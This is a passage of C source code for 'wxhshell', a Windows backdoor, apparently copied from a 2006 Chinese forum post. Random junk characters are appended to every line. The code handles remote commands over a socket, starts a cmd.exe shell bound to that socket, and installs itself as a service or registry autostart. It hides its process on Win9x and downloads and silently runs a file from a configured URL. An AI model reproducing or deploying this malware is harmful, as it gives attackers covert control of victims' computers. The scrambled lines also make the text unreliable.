  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TDseWdA  
  } tsa6: D  
  else { <;T7q EIlo  
@kK=|(OB'  
    switch(cmd[0]) { XDWERv Ij  
  $R5-JvJJH  
  // 帮助 ~iSW^mi  
  case '?': { axl?t|~I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +Q9HsfX/  
    break; GJ$,@  
  } g-s@m}[T  
  // 安装 V:+bq`  
  case 'i': { 0CR;t`M@  
    if(Install()) ;|%r!!#-t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I"!{HnSG`  
    else :({<"H)!'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4CCux4)N  
    break; 0k>&MkM\^  
    } 6]3 ZUH;  
  // 卸载 -,tYfQ;:  
  case 'r': { ]aR4U`  
    if(Uninstall()) Ij8tBT?jlL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e{O5y8,  
    else :Ry 24X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %qHT!aP  
    break; =V , _  
    } [4t KJ+v  
  // 显示 wxhshell 所在路径 Y>%NuL|s  
  case 'p': {  %!S  
    char svExeFile[MAX_PATH]; P&YaJUq.u  
    strcpy(svExeFile,"\n\r"); Y^G3<.B  
      strcat(svExeFile,ExeFile); IO'Q}bU4vs  
        send(wsh,svExeFile,strlen(svExeFile),0); ^`7t@G$ D  
    break; *l^'v9  
    } :6 fQE#(s&  
  // 重启 ww2Qa-K  
  case 'b': { bi[l,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ? `KOW  
    if(Boot(REBOOT)) 2I<T<hFW]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i<?4iwX%i*  
    else { 6. jZy~  
    closesocket(wsh); Hn~1x'$  
    ExitThread(0); LA+MX 0*  
    } $Da^z[8e  
    break; iQF}x&a<  
    } SDwSlwf  
  // 关机 (?!0__NN;  
  case 'd': { h~@+M5r,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (n/1 :'  
    if(Boot(SHUTDOWN)) NjxW A&[ng  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pYG,5+g  
    else { w!RH*S  
    closesocket(wsh); Om  
    ExitThread(0); Z]f2&  
    } uH[0kh  
    break; mmL~`i/  
    } }hYE6~pr  
  // 获取shell m #QI*R XP  
  case 's': { F21[r!3  
    CmdShell(wsh); s>\g03=  
    closesocket(wsh); O:)IRB3  
    ExitThread(0); (do=o&9p m  
    break; ][nUPl  
  } %#9~V  
  // 退出 sCQup^\  
  case 'x': { 63S1ed [  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WZ&@ JB  
    CloseIt(wsh); SWb5K0YRn  
    break; ?8@*q6~8  
    } 9 Zm<1Fw  
  // 离开 )uvFta<(  
  case 'q': { rj~ian  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z!reX6  
    closesocket(wsh); v s|6w w  
    WSACleanup(); _KVB~loT  
    exit(1); I;-5]/,  
    break; #ya|{K  
        } 3SDWR@x&  
  } qk,y|7 p  
  } *^6xt7  
03WRj+w  
  // 提示信息 q&Wwt qc9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !h>$bm  
} p,\bez  
  } {K4t8T]  
[E (M(w':  
  return; X-#mv|3  
} JK"uj%  
.oj"ru  
// shell模块句柄 43=-pyp  
int CmdShell(SOCKET sock) ?]D+H%3[$i  
{ o%PoSZZ  
STARTUPINFO si; Z4ov  
ZeroMemory(&si,sizeof(si)); So%1RY{ )  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G@EjWZQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sFCs_u1tNN  
PROCESS_INFORMATION ProcessInfo; j :Jdwf  
char cmdline[]="cmd"; E)wT+\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zl 0^EltiU  
  return 0; ;n{j,HB  
} w9<FX>@  
f^sb0nU  
// 自身启动模式 HcVs(]tIW  
int StartFromService(void) EJaaW&>[  
{ L_ qv<iM$  
typedef struct RK:sQWG  
{ /{ MH'  
  DWORD ExitStatus; y' |W['  
  DWORD PebBaseAddress; e=;@L3f  
  DWORD AffinityMask; UN?T}p- oF  
  DWORD BasePriority; C%?D E@k  
  ULONG UniqueProcessId; {_ho!OS>  
  ULONG InheritedFromUniqueProcessId; {C0^D*U:  
}   PROCESS_BASIC_INFORMATION; "rDzrz  
}_:#fE  
PROCNTQSIP NtQueryInformationProcess; =tRe3o0(  
-sH.yAvC6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k,iV$,[TF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  Ox*T:5  
i -s?"Fk  
  HANDLE             hProcess; >\x_"oR  
  PROCESS_BASIC_INFORMATION pbi; G%8)6m'3  
`pAp[]SfQd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )7"DR+;:  
  if(NULL == hInst ) return 0; 2]RH)W86;  
I cA\3j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9g5{3N3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %%,hR'+|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '`~(Fkj  
`{Di*  
  if (!NtQueryInformationProcess) return 0; p9}c6{Wp  
!na0Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t2%@py*bU  
  if(!hProcess) return 0; 2X;0z$  
y#Za|nt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V<NsmC=g  
b:5%}  
  CloseHandle(hProcess); [xs)u3b  
QRZTT qG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9Glfi@.  
if(hProcess==NULL) return 0; Ysc|kxLb  
VDu .L8  
HMODULE hMod; aU]O$Pg{  
char procName[255]; p9 ,\{Is  
unsigned long cbNeeded; bb0McEQy  
A"<)(M+kG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Iam-'S5  
ny_ kr`$42  
  CloseHandle(hProcess); {p*hNi)0  
yH"$t/cU"R  
if(strstr(procName,"services")) return 1; // 以服务启动 i&'^9"Z)O  
[F V=@NI  
  return 0; // 注册表启动 ':2*+  
} U>B5LU9&  
k5%0wHpk=  
// 主模块 MV;Y?%>  
int StartWxhshell(LPSTR lpCmdLine) GKsL~;8"  
{ )bCG]OM7<  
  SOCKET wsl; Rw ao5l=x  
BOOL val=TRUE; >&Ui*  
  int port=0; -}qGb}F8!  
  struct sockaddr_in door; bR8 HGH28  
z2nUul(2  
  if(wscfg.ws_autoins) Install(); ;'Vipj   
CMxjX  
port=atoi(lpCmdLine); qfP"UAc{/  
seqF84Xd<  
if(port<=0) port=wscfg.ws_port; L3=YlX`UL  
<&Y}j&(  
  WSADATA data; >gZk 581/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gC_s\WU  
6(q`Oj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o|^?IQ7bpf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3VRZM@i  
  door.sin_family = AF_INET; Eagmafu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B-ri}PA  
  door.sin_port = htons(port); oA3W {  
E_![`9i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %L\{kUam  
closesocket(wsl); lgjoF_D  
return 1; o S:vTr+$  
} hA1gkEM2o  
{7![3`%7  
  if(listen(wsl,2) == INVALID_SOCKET) { Q!2iOvK  
closesocket(wsl); JPTI6"/  
return 1; [cTRz*\s  
} K@j^gF/0B  
  Wxhshell(wsl); c]aK N  
  WSACleanup(); ;/)Mcx]n  
:U-US|)(2  
return 0; ^;CR0.4  
jY#(A23  
} )*TW\v`B  
kTi PZZI  
// 以NT服务方式启动 ]dGr1 ncu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kO,VayjT  
{ wUIsi<Oj  
DWORD   status = 0; /VmCN]2AZ  
  DWORD   specificError = 0xfffffff; H?=pWB  
'[=yfh   
  serviceStatus.dwServiceType     = SERVICE_WIN32; X4P}aC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UU;-q_H6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f?>-yMR|  
  serviceStatus.dwWin32ExitCode     = 0; =@1R ozt  
  serviceStatus.dwServiceSpecificExitCode = 0; ;*)fO? TG)  
  serviceStatus.dwCheckPoint       = 0; e0|_Z])D  
  serviceStatus.dwWaitHint       = 0; UP~WP@0F  
7k`*u) Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ` r'0"V  
  if (hServiceStatusHandle==0) return; ~*PK080N}  
K5)yM @cq  
status = GetLastError(); .cH{WZ  
  if (status!=NO_ERROR) kuTq8p2E  
{ Oj4u!SY\j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Dc&9emKI  
    serviceStatus.dwCheckPoint       = 0; _r<zSH%  
    serviceStatus.dwWaitHint       = 0; _,Rsl$Tk'  
    serviceStatus.dwWin32ExitCode     = status; -e`oW.+  
    serviceStatus.dwServiceSpecificExitCode = specificError; IB#iJ# ,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bU:}ZO^S  
    return; 2Pem%HE~P  
  } oXQ<9t1(  
x#:BE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M~ i+F0  
  serviceStatus.dwCheckPoint       = 0; Q2[prrk%j  
  serviceStatus.dwWaitHint       = 0; k binf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4(Cd  
} B \_d5WJ<  
Hn#GS9d_?  
// 处理NT服务事件,比如:启动、停止 ~_l6dDJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ySixYt  
{ y ;{^Ln4{  
switch(fdwControl) j*eUF-J1  
{ ]8xc?*i8  
case SERVICE_CONTROL_STOP: c4ZuW_&:  
  serviceStatus.dwWin32ExitCode = 0; T<TcV9vM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _X,[]+ziu%  
  serviceStatus.dwCheckPoint   = 0; /slm ]'  
  serviceStatus.dwWaitHint     = 0; *gM,x4Y  
  { EI=Naq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V>FT~k_"  
  } d4y9AE@k  
  return; FUyB"-<  
case SERVICE_CONTROL_PAUSE: s.R-<Y 3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |P,zGy  
  break; !^)wPmk  
case SERVICE_CONTROL_CONTINUE: `?zg3GD_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o[bE  
  break; 96"yNqBf  
case SERVICE_CONTROL_INTERROGATE: V9fGVDl;  
  break; ;0w^ud  
}; rP^TN^bd|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2qs>Bshf  
} H[ BD)  
E-yT  
// 标准应用程序主函数 O6m.t%*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L25kh}Q#7  
{ `1E|PQbWc  
:mXGIRi  
// 获取操作系统版本 :jt;EzCLg%  
OsIsNt=GetOsVer(); vU_d=T%$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (~j,mk  
fB f 4]^  
  // 从命令行安装 74@lo-/LY  
  if(strpbrk(lpCmdLine,"iI")) Install(); &v5G92  
r/NSD$-n  
  // 下载执行文件 [x2JFS#4  
if(wscfg.ws_downexe) { ^CZCZ,v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d5@X#3Hd  
  WinExec(wscfg.ws_filenam,SW_HIDE); ADv^eJJ|  
} DS#c m3  
w/b>awI  
if(!OsIsNt) { =jg#fdM -  
// 如果时win9x,隐藏进程并且设置为注册表启动 ..t,LU@|  
HideProc(); 0>,.c2),  
StartWxhshell(lpCmdLine);  ]{f^;y8  
} ==QWwPpA  
else N$\ bg|v  
  if(StartFromService()) YCa@R!M*O  
  // 以服务方式启动 *4 <4  
  StartServiceCtrlDispatcher(DispatchTable); v! 7s M  
else  \#4m@  
  // 普通方式启动 U@Z>/ q  
  StartWxhshell(lpCmdLine); nNt*} k  
yfmp$GO:  
return 0; Nls83 W  
}
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只看该作者 1 发表于: 2006-10-10
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